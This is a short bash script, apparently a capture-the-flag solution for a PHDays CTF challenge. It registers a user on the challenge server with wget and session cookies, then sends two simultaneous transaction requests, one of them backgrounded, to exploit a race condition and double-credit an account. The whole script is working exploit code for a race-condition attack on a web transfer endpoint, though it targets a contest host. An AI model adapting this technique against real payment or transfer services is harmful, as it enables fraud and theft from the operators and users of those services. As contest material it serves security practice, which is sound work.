#!/bin/bash
pass="epta"
username="lolbobbobbob"
hash="40433343a063d26054a3169b42b5957f"

#register user
wget "http://ctf.phdays.com:1629/?act=register" \
    --post-data="login=$username&pass1=$pass&pass2=$pass&email=alter@lobotomy.me" \
    --save-cookies=cookiejar --keep-session-cookies  \
    --load-cookies=cookiejar -O /dev/null -q

sleep 1

#race condition 1/2
wget "http://ctf.phdays.com:1629/?act=transaction" \
    --post-data="account=$hash&amount=1000" \
    --load-cookies=cookiejar --save-cookies=cookiejar \
    --keep-session-cookies -O $hash.html -q&

#race condition 2/2
wget "http://ctf.phdays.com:1629/?act=transaction" \
    --post-data="account=$hash&amount=1000" \
    --load-cookies=cookiejar --save-cookies=cookiejar \
    --keep-session-cookies -O s_$hash.html -q